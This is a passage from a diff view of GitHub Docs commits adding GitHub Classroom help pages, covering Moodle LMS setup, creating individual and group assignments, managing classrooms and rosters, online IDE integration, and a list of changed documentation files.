Moodle, see the [Moodle website](https://moodle.org). You must be using Moodle version 3.0 or greater. 1. Sign into [Moodle](https://moodle.org/login/index.php). 1. Select the Moodle course to integrate with {% data variables.product.prodname_classroom %}. 1. Click **Turn editing on**. 1. Wherever you'd like {% data variables.product.prodname_classroom %} to be available in Moodle, click **Add an activity or resource**. 1. Choose **External tool** and click **Add**. 1. In the "Activity name" field, type "GitHub Classroom". 1. In the **Preconfigured tool** field, to the right of the drop-down menu, click **+**. 1. Under "External tool configuration", paste the configuration credentials from {% data variables.product.prodname_classroom %}. For more information, see "[Generating configuration credentials for your classroom](#generating-configuration-credentials-for-your-classroom)." | Field in Moodle app configuration | Value or setting | | :- | :- | | **Tool name** | {% data variables.product.prodname_classroom %} - _YOUR CLASSROOM NAME_<br/><br/>**Note**: You can use any name, but we suggest this value for clarity. | | **Tool URL** | Launch URL from {% data variables.product.prodname_classroom %} | | **LTI version** | LTI 1.0/1.1 | | **Default launch container** | New window | | **Consumer key** | Consumer key from {% data variables.product.prodname_classroom %} | | **Shared secret** | Shared secret from {% data variables.product.prodname_classroom %} | 1. Scroll to and click **Services**. 1. To the right of "IMS LTI Names and Role Provisioning", select the drop-down menu and click **Use this service to retrieve members' information as per privacy settings**. 1. Scroll to and click **Privacy**. 1. To the right of **Share launcher's name with tool** and **Share launcher's email with tool**, select the drop-down menus to click **Always**. 1. At the bottom of the page, click **Save changes**. 1. In the **Preconfigure tool** menu, click **GitHub Classroom - _YOUR CLASSROOM NAME_**. 1. Under "Common module settings", to the right of "Availability", select the drop-down menu and click **Hide from students**. 1. At the bottom of the page, click **Save and return to course**. 1. Navigate to anywhere you chose to display {% data variables.product.prodname_classroom %}, and click the {% data variables.product.prodname_classroom %} activity. ### Importing a roster from your LMS For more information about importing the roster from your LMS into {% data variables.product.prodname_classroom %}, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)." ### Disconnecting your LMS {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. Under "Connect to a learning management system (LMS)", click **Connection Settings**.  1. Under "Delete Connection to your learning management system", click **Disconnect from your learning management system**.  145 .../education/manage-coursework-with-github-classroom/create-a-group-assignment.md @@ -0,0 +1,145 @@ --- title: Create a group assignment intro: 'You can create a collaborative assignment for teams of students who participate in your course.' versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/create-group-assignments --- ### About group assignments {% data reusables.classroom.assignments-group-definition %} Students can work together on a group assignment in a shared repository, like a team of professional developers. When a student accepts a group assignment, the student can create a new team or join an existing team. {% data variables.product.prodname_classroom %} saves the teams for an assignment as a set. You can name the set of teams for a specific assignment when you create the assignment, and you can reuse that set of teams for a later assignment. {% data reusables.classroom.classroom-creates-group-repositories %} {% data reusables.classroom.about-assignments %} You can decide how many teams one assignment can have, and how many members each team can have. Each team that a student creates for an assignment is a team within your organization on {% data variables.product.product_name %}. The visibility of the team is secret. Teams that you create on {% data variables.product.product_name %} will not appear in {% data variables.product.prodname_classroom %}. For more information, see "[About teams](/github/setting-up-and-managing-organizations-and-teams/about-teams)." For a video demonstration of the creation of a group assignment, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)." ### Prerequisites {% data reusables.classroom.assignments-classroom-prerequisite %} ### Creating an assignment {% data reusables.classroom.assignments-guide-create-the-assignment %} ### Setting up the basics for an assignment Name your assignment, decide whether to assign a deadline, define teams, and choose the visibility of assignment repositories. - [Naming an assignment](#naming-an-assignment) - [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment) - [Choosing an assignment type](#choosing-an-assignment-type) - [Defining teams for an assignment](#defining-teams-for-an-assignment) - [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories) #### Naming an assignment For a group assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the name of the team. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the team's name on {% data variables.product.product_name %} is "student-team", the name of the assignment repository for members of the team will be `assignment-1-student-team`. {% data reusables.classroom.assignments-type-a-title %} #### Assigning a deadline for an assignment {% data reusables.classroom.assignments-guide-assign-a-deadline %} #### Choosing an assignment type Under "Individual or group assignment", select the drop-down menu, then click **Group assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a individual assignment, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)." #### Defining teams for an assignment If you've already created a group assignment for the classroom, you can reuse a set of teams for the new assignment. To create a new set with the teams that your students create for the assignment, type the name for the set. Optionally, type the maximum number of team members and total teams. {% tip %} **Tips**: - We recommend including details about the set of teams in the name for the set. For example, if you want to use the set of teams for one assignment, name the set after the assignment. If you want to reuse the set throughout a semester or course, name the set after the semester or course. - If you'd like to assign students to a specific team, give your students a name for the team and provide a list of members. {% endtip %}  #### Choosing a visibility for assignment repositories {% data reusables.classroom.assignments-guide-choose-visibility %} {% data reusables.classroom.assignments-guide-click-continue-after-basics %} ### Adding starter code and configuring a development environment {% data reusables.classroom.assignments-guide-intro-for-environment %} - [Choosing a template repository](#choosing-a-template-repository) - [Choosing an online integrated development environment (IDE)](#choosing-an-online-integrated-development-environment-ide) #### Choosing a template repository By default, a new assignment will create an empty repository for each team that a student creates. {% data reusables.classroom.you-can-choose-a-template-repository %} For more information about template repositories, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." {% data reusables.classroom.assignments-guide-choose-template-repository %} #### Choosing an online integrated development environment (IDE) {% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)." {% data reusables.classroom.assignments-guide-choose-an-online-ide %} {% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %} ### Providing feedback Optionally, you can automatically grade assignments and create a space for discussing each submission with the team. - [Testing assignments automatically](#testing-assignments-automatically) - [Preventing changes to important files](#preventing-changes-to-important-files) - [Creating a pull request for feedback](#creating-a-pull-request-for-feedback) #### Testing assignments automatically {% data reusables.classroom.assignments-guide-using-autograding %} #### Preventing changes to important files {% data reusables.classroom.assignments-guide-prevent-changes %} #### Creating a pull request for feedback {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} {% data reusables.classroom.assignments-guide-create-review-pull-request %} {% data reusables.classroom.assignments-guide-click-create-assignment-button %} ### Inviting students to an assignment {% data reusables.classroom.assignments-guide-invite-students-to-assignment %} You can see the teams that are working on or have submitted an assignment in the **Teams** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %} <div class="procedural-image-wrapper"> <img alt="Group assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-group-hero.png"> </div> ### Next steps - After you create the assignment and your students form teams, team members can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and the team can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Creating, cloning, and archiving repositories](/github/creating-cloning-and-archiving-repositories)," "[Using Git](/github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)," and the free course on [managing merge conflicts](https://lab.github.com/githubtraining/managing-merge-conflicts) from {% data variables.product.prodname_learning %}. - When a team finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand how the team collaborated. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)." - You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)." ### Further reading - "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research)" - "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)" - [Using Existing Teams in Group Assignments?](https://education.github.community/t/using-existing-teams-in-group-assignments/6999) in the {% data variables.product.prodname_education %} Community 19 ...sework-with-github-classroom/create-an-assignment-from-a-template-repository.md @@ -0,0 +1,19 @@ --- title: Create an assignment from a template repository intro: You can create an assignment from a template repository to provide starter code, documentation, and other resources to your students. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/using-template-repos-for-assignments --- You can use a template repository on {% data variables.product.product_name %} as starter code for an assignment on {% data variables.product.prodname_classroom %}. Your template repository can contain boilerplate code, documentation, and other resources for your students. For more information, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." To use the template repository for your assignment, the template repository must be owned by your organization, or the visibility of the template repository must be public. {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} For more information, see "[Configure default settings for assignment repositories](/education/manage-coursework-with-github-classroom/configure-default-settings-for-assignment-repositories)." ### Further reading - "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" - "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)" 124 ...tion/manage-coursework-with-github-classroom/create-an-individual-assignment.md @@ -0,0 +1,124 @@ --- title: Create an individual assignment intro: You can create an assignment for students in your course to complete individually. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/creating-an-individual-assignment - /education/manage-coursework-with-github-classroom/create-an-individual-assignment --- ### About individual assignments {% data reusables.classroom.assignments-individual-definition %} {% data reusables.classroom.classroom-creates-individual-repositories %} {% data reusables.classroom.about-assignments %} For a video demonstration of the creation of an individual assignment, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)." ### Prerequisites {% data reusables.classroom.assignments-classroom-prerequisite %} ### Creating an assignment {% data reusables.classroom.assignments-guide-create-the-assignment %} ### Setting up the basics for an assignment Name your assignment, decide whether to assign a deadline, and choose the visibility of assignment repositories. - [Naming an assignment](#naming-an-assignment) - [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment) - [Choosing an assignment type](#choosing-an-assignment-type) - [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories) #### Naming an assignment For an individual assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the student's {% data variables.product.product_name %} username. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the student's username on {% data variables.product.product_name %} is @octocat, the name of the assignment repository for @octocat will be `assignment-1-octocat`. {% data reusables.classroom.assignments-type-a-title %} #### Assigning a deadline for an assignment {% data reusables.classroom.assignments-guide-assign-a-deadline %} #### Choosing an assignment type Under "Individual or group assignment", select the drop-down menu, and click **Individual assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a group assignment, see "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." #### Choosing a visibility for assignment repositories {% data reusables.classroom.assignments-guide-choose-visibility %} {% data reusables.classroom.assignments-guide-click-continue-after-basics %} ### Adding starter code and configuring a development environment {% data reusables.classroom.assignments-guide-intro-for-environment %} - [Choosing a template repository](#choosing-a-template-repository) - [Choosing an online integrated development environment (IDE)](#choosing-an-online-integrated-development-environment-ide) #### Choosing a template repository By default, a new assignment will create an empty repository for each student on the roster for the classroom. {% data reusables.classroom.you-can-choose-a-template-repository %} For more information about template repositories, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." {% data reusables.classroom.assignments-guide-choose-template-repository %} {% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %} #### Choosing an online integrated development environment (IDE) {% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)." {% data reusables.classroom.assignments-guide-choose-an-online-ide %} ### Providing feedback for an assignment Optionally, you can automatically grade assignments and create a space for discussing each submission with the student. - [Testing assignments automatically](#testing-assignments-automatically) - [Preventing changes to important files](#preventing-changes-to-important-files) - [Creating a pull request for feedback](#creating-a-pull-request-for-feedback) #### Testing assignments automatically {% data reusables.classroom.assignments-guide-using-autograding %} #### Preventing changes to important files {% data reusables.classroom.assignments-guide-prevent-changes %} #### Creating a pull request for feedback {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} {% data reusables.classroom.assignments-guide-create-review-pull-request %} {% data reusables.classroom.assignments-guide-click-create-assignment-button %} ### Inviting students to an assignment {% data reusables.classroom.assignments-guide-invite-students-to-assignment %} You can see whether a student has joined the classroom and accepted or submitted an assignment in the **All students** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %} <div class="procedural-image-wrapper"> <img alt="Individual assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png"> </div> ### Next steps - Once you create the assignment, students can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and student can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Creating, cloning, and archiving repositories](/github/creating-cloning-and-archiving-repositories)," "[Using Git](/github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)." - When a student finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand the student's work. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)." - You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)." ### Further reading - "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research)" - "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)" 9 ...on/manage-coursework-with-github-classroom/get-started-with-github-classroom.md @@ -0,0 +1,9 @@ --- title: Get started with GitHub Classroom shortTitle: Get started intro: Learn how to configure and use {% data variables.product.prodname_classroom %} to administer your course. mapTopic: true versions: free-pro-team: '*' --- 52 content/education/manage-coursework-with-github-classroom/glossary.md @@ -0,0 +1,52 @@ --- title: Glossary intro: You can review explanations of terminology for {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' --- ### assignment An assignment is coursework in {% data variables.product.prodname_classroom %}. A teacher can assign an assignment to an individual student or a group of students. Teachers can import starter code for the assignment, assign students, and create a deadline for each assignment. For more information, see the definitions for "[individual assignment](#individual-assignment)" and "[group assignment](#group-assignment)." --- ### classroom A classroom is the basic unit of {% data variables.product.prodname_classroom %}. Teachers can use a classroom to organize and manage students, teaching assistants, and assignments for a single course. A classroom belongs to an organization on {% data variables.product.prodname_dotcom_the_website %}. To administer a classroom, you must be an organization owner for the organization on {% data variables.product.prodname_dotcom %}. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms)." --- ### {% data variables.product.prodname_classroom %} {% data variables.product.prodname_classroom %} is a web application for educators that provides course administration tools integrated with {% data variables.product.prodname_dotcom %}. For more information, see the [{% data variables.product.prodname_classroom %}](https://classroom.github.com/) website. --- ### group assignment {% data reusables.classroom.assignments-group-definition %} For more information, see "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." --- ### identifier An identifier in {% data variables.product.prodname_classroom %} is a unique ID for a student participating in a course. For example, an identifier can be a student name, alphanumeric ID, or email address. --- ### individual assignment {% data reusables.classroom.assignments-individual-definition %} For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)." --- ### roster A roster allows a teacher to manage students and assignment submissions in a classroom on {% data variables.product.prodname_classroom %}. Teachers can create a roster by entering a list of student identifiers, or by connecting {% data variables.product.prodname_classroom %} to a learning management system (LMS). For more information about identifiers, see the definition of "[identifier](#identifier)." For more information about connecting {% data variables.product.prodname_classroom %} to an LMS, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)." --- ### Further reading - "[{% data variables.product.prodname_dotcom %} glossary](/github/getting-started-with-github/github-glossary)" 32 content/education/manage-coursework-with-github-classroom/index.md @@ -0,0 +1,32 @@ --- title: Manage coursework with GitHub Classroom shortTitle: '{% data variables.product.prodname_classroom %}' intro: With {% data variables.product.prodname_classroom %}, you can use {% data variables.product.product_name %} to administer or participate in a course about software development. versions: free-pro-team: '*' --- ### Table of Contents {% topic_link_in_list /get-started-with-github-classroom %} {% link_in_list /basics-of-setting-up-github-classroom %} {% link_in_list /glossary %} {% topic_link_in_list /teach-with-github-classroom %} {% link_in_list /manage-classrooms %} {% link_in_list /create-an-individual-assignment %} {% link_in_list /create-a-group-assignment %} {% link_in_list /create-an-assignment-from-a-template-repository %} {% link_in_list /leave-feedback-with-pull-requests %} {% link_in_list /use-autograding %} {% link_in_list /configure-default-settings-for-assignment-repositories %} {% link_in_list /connect-a-learning-management-system-to-github-classroom %} {% topic_link_in_list /integrate-github-classroom-with-an-ide %} {% link_in_list /integrate-github-classroom-with-an-online-ide %} {% link_in_list /about-using-makecode-arcade-with-github-classroom %} {% link_in_list /about-using-replit-with-github-classroom %} {% link_in_list /run-student-code-in-an-online-ide %} {% topic_link_in_list /learn-with-github-classroom %} {% link_in_list /view-autograding-results %} 8 ...nage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide.md @@ -0,0 +1,8 @@ --- title: Integrate GitHub Classroom with an IDE shortTitle: Integrate with an IDE intro: You can help your students write, test, and debug code by preconfiguring a development environment for assignment repositories on {% data variables.product.prodname_classroom %}. mapTopic: true versions: free-pro-team: '*' --- 42 ...ursework-with-github-classroom/integrate-github-classroom-with-an-online-ide.md @@ -0,0 +1,42 @@ --- title: Integrate GitHub Classroom with an online IDE shortTitle: Integrate with an online IDE intro: You can preconfigure a supported online integrated development environment (IDE) for assignments you create in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/online-ide-integrations --- ### About integration with an online IDE {% data reusables.classroom.about-online-ides %} After a student accepts an assignment with an online IDE, the README file in the student's assignment repository will contain a button to open the assignment in the IDE. The student can begin working immediately, and no additional configuration is necessary.  ### Supported online IDEs {% data variables.product.prodname_classroom %} supports the following online IDEs. You can learn more about the student experience for each IDE. | IDE | More information | | :- | :- | | Microsoft MakeCode Arcade | "[About using MakeCode Arcade with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom)" | | Repl.it | "[About using Repl.it with GitHub Classroom](/education/manage-coursework-with-github-classroom/about-using-replit-with-github-classroom)" | ### Configuring an online IDE for an assignment You can choose the online IDE you'd like to use for an assignment when you create an assignment. To learn how to create a new assignment that uses an online IDE, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." ### Authorizing the OAuth app for an online IDE The first time you configure an assignment with an online IDE, you must authorize the OAuth app for the online IDE for your organization.  For all repositories, grant the app **read** access to metadata, administration, and code, and **write** access to administration and code. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)." ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 7 ...ducation/manage-coursework-with-github-classroom/learn-with-github-classroom.md @@ -0,0 +1,7 @@ --- title: Learn with GitHub Classroom intro: You can participate in coursework in {% data variables.product.prodname_classroom %} and see results from your teacher. mapTopic: true versions: free-pro-team: '*' --- 33 ...on/manage-coursework-with-github-classroom/leave-feedback-with-pull-requests.md @@ -0,0 +1,33 @@ --- title: Leave feedback with pull requests intro: You can leave feedback for your students in a special pull request within the repository for each assignment. permissions: People with read permissions to a repository can leave feedback in a pull request for the repository. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/leaving-feedback-in-github --- ### About feedback pull requests for assignments {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} When you enable the pull request for feedback for an assignment, {% data variables.product.prodname_classroom %} will create a special pull request titled **Feedback** in the assignment repository for each student or team. The pull request automatically shows every commit that a student pushed to the assignment repository's default branch. ### Prerequisites To create and access the feedback pull request, you must enable the feedback pull request when you create the assignment. {% data reusables.classroom.for-more-information-about-assignment-creation %} ### Leaving feedback in a pull request for an assignment {% data reusables.classroom.sign-into-github-classroom %} 1. In the list of classrooms, click the classroom with the assignment you want to review.  {% data reusables.classroom.click-assignment-in-list %} 1. To the right of the submission, click **Review**.  1. Review the pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)." ### Further reading - "[Integrate {% data variables.product.prodname_classroom %} with an IDE](http://localhost:4000/en/free-pro-team@latest/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)" 121 content/education/manage-coursework-with-github-classroom/manage-classrooms.md @@ -0,0 +1,121 @@ --- title: Manage classrooms intro: You can create and manage a classroom for each course that you teach using {% data variables.product.prodname_classroom %}. permissions: Organization owners can manage a classroom for an organization. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/archive-a-classroom --- ### About classrooms {% data reusables.classroom.about-classrooms %}  ### About management of classrooms {% data variables.product.prodname_classroom %} uses organization accounts on {% data variables.product.product_name %} to manage permissions, administration, and security for each classroom that you create. Each organization can have multiple classrooms. After you create a classroom, {% data variables.product.prodname_classroom %} will prompt you to invite teaching assistants (TAs) and admins to the classroom. Each classroom can have one or more admins. Admins can be teachers, TAs, or any other course administrator who you'd like to have control over your classrooms on {% data variables.product.prodname_classroom %}. Invite TAs and admins to your classroom by inviting the user accounts on {% data variables.product.product_name %} to your organization as organization owners and sharing the URL for your classrom. Organization owners can administer any classroom for the organization. For more information, see "[Permission levels for an organization](/github/setting-up-and-managing-organizations-and-teams/permission-levels-for-an-organization)" and "[Inviting users to join your organization](/github/setting-up-and-managing-organizations-and-teams/inviting-users-to-join-your-organization)." When you're done using a classroom, you can archive the classroom and refer to the classroom, roster, and assignments later, or you can delete the classroom if you no longer need the classroom. ### About classroom rosters Each classroom has a roster. A roster is a list of identifiers for the students who participate in your course. When you first share the URL for an assignment with a student, the student must sign into {% data variables.product.product_name %} with a user account to link the user account to an identifier for the classroom. After the student links a user account, you can see the associated user account in the roster. You can also see when the student accepts or submits an assignment.  ### Prerequisites You must have an organization account on {% data variables.product.product_name %} to manage classrooms on {% data variables.product.prodname_classroom %}. For more information, see "[Types of {% data variables.product.company_short %} accounts](/github/getting-started-with-github/types-of-github-accounts#organization-accounts)" and "[Creating a new organization from scratch](/github/setting-up-and-managing-organizations-and-teams/creating-a-new-organization-from-scratch)." You must authorize the OAuth app for {% data variables.product.prodname_classroom %} for your organization to manage classrooms for your organization account. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)." ### Creating a classroom {% data reusables.classroom.sign-into-github-classroom %} 1. Click **New classroom**.  {% data reusables.classroom.guide-create-new-classroom %} After you create a classroom, you can begin creating assignments for students. For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." ### Creating a roster for your classroom You can create a roster of the students who participate in your course. If your course already has a roster, you can update the students on the roster or delete the roster. For more information, see "[Adding a student to the roster for your classroom](#adding-students-to-the-roster-for-your-classroom)" or "[Deleting a roster for a classroom](#deleting-a-roster-for-a-classroom)." {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. To connect {% data variables.product.prodname_classroom %} to your LMS and import a roster, click {% octicon "mortar-board" aria-label="The mortar board icon" %} **Import from a learning management system** and follow the instructions. For more information, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)."  1. To create a roster manually, type your student identifiers. Optionally, click **Upload a CSV or text file** to upload a file containing the identifiers.  1. Click **Create roster**.  ### Adding students to the roster for your classroom Your classroom must have an existing roster to add students to the roster. For more information about creating a roster, see "[Creating a roster for your classrom](#creating-a-roster-for-your-classroom)." {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. To the right of "Classroom roster", click **Update students**.  1. Follow the instructions to add students to the roster. - To import students from an LMS, click **Sync from a learning management system**. For more information about importing a roster from an LMS, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)." - To manually add students, under "Manually add students", click **Upload a CSV or text file** or type the identifiers for the students, then click **Add roster entries**.  ### Renaming a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. Under "Classroom name", type a new name for the classroom.  1. Click **Rename classroom**.  ### Archiving or unarchiving a classroom You can archive a classroom that you no longer use on {% data variables.product.prodname_classroom %}. When you archive a classroom, you can't create new assignments or edit existing assignments for the classroom. Students can't accept invitations to assignments in archived classrooms. {% data reusables.classroom.sign-into-github-classroom %} 1. To the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Archive**.  1. To unarchive a classroom, to the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Unarchive**.  ### Deleting a roster for a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. Under "Delete this roster", click **Delete roster**.  1. Read the warnings, then click **Delete roster**.  ### Deleting a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. To the right of "Delete this classroom", click **Delete classroom**.  1. **Read the warnings**. 1. To verify that you're deleting the correct classroom, type the name of the classroom you want to delete.  1. Click **Delete classroom**.  22 ...on/manage-coursework-with-github-classroom/run-student-code-in-an-online-ide.md @@ -0,0 +1,22 @@ --- title: Run student code in an online IDE intro: You can run the code from a student assignment within the online integrated development environment (IDE) that you configured for the assignment. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/running-student-code --- ### About student code and online IDEs If you configure an online integrated development environment (IDE) for an assignment, you can run the code within the online IDE. You don't need to clone the assignment repository to your computer. For more information about online IDEs, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." ### Running student code in the online IDE {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-assignment-in-list %} 1. To the right of the submission, click **View IDE**.  8 ...ducation/manage-coursework-with-github-classroom/teach-with-github-classroom.md @@ -0,0 +1,8 @@ --- title: Teach with GitHub Classroom intro: Learn how to set up your classroom and assignments. mapTopic: true versions: free-pro-team: '*' --- 93 content/education/manage-coursework-with-github-classroom/use-autograding.md 30 ...t/education/manage-coursework-with-github-classroom/view-autograding-results.md 90 content/education/quickstart.md 1 ...github-education/about-campus-advisors.md → ...github-education/about-campus-advisors.md 1 ...-github-education/about-campus-experts.md → ...-github-education/about-campus-experts.md 1 ...ducation-for-educators-and-researchers.md → ...ducation-for-educators-and-researchers.md 5 ...on/about-github-education-for-students.md → ...on/about-github-education-for-students.md 9 ...ithub-education/about-github-education.md → ...ithub-education/about-github-education.md 5 .../applying-for-a-student-developer-pack.md → ...ion/apply-for-a-student-developer-pack.md 14 ...for-an-educator-or-researcher-discount.md → ...for-an-educator-or-researcher-discount.md 26 content/education/teach-and-learn-with-github-education/index.md 3 ...github-at-your-educational-institution.md → ...github-at-your-educational-institution.md 3 ...ation/using-github-for-your-schoolwork.md → ...ucation/use-github-for-your-schoolwork.md 3 ...-github-in-your-classroom-and-research.md → ...-github-in-your-classroom-and-research.md 5 ...-for-a-student-developer-pack-approved.md → ...-for-a-student-developer-pack-approved.md 3 ...ucator-or-researcher-discount-approved.md → ...ucator-or-researcher-discount-approved.md 20 ...ering-a-repository/enabling-or-disabling-github-discussions-for-a-repository.md 5 content/github/administering-a-repository/index.md 2 content/github/authenticating-to-github/reviewing-your-security-log.md 1 content/github/collaborating-with-issues-and-pull-requests/index.md 74 ...with-issues-and-pull-requests/reviewing-dependency-changes-in-a-pull-request.md 19 ...g-with-issues-and-pull-requests/reviewing-proposed-changes-in-a-pull-request.md 10 content/github/creating-cloning-and-archiving-repositories/about-repositories.md 15 content/github/customizing-your-github-workflow/about-github-marketplace.md 2 content/github/getting-started-with-github/git-and-github-learning-resources.md 4 content/github/getting-started-with-github/github-glossary.md 6 content/github/getting-started-with-github/signing-up-for-a-new-github-account.md 1 content/github/index.md 2 ...b/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies.md 25 ...hub/managing-security-vulnerabilities/about-managing-vulnerable-dependencies.md 1 content/github/managing-security-vulnerabilities/index.md 4 ...nerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository.md 3 ...criptions-and-notifications-on-github/managing-notifications-from-your-inbox.md 6 content/github/managing-your-work-on-github/about-issues.md 3 content/github/searching-for-information-on-github/about-searching-on-github.md 5 content/github/searching-for-information-on-github/index.md 114 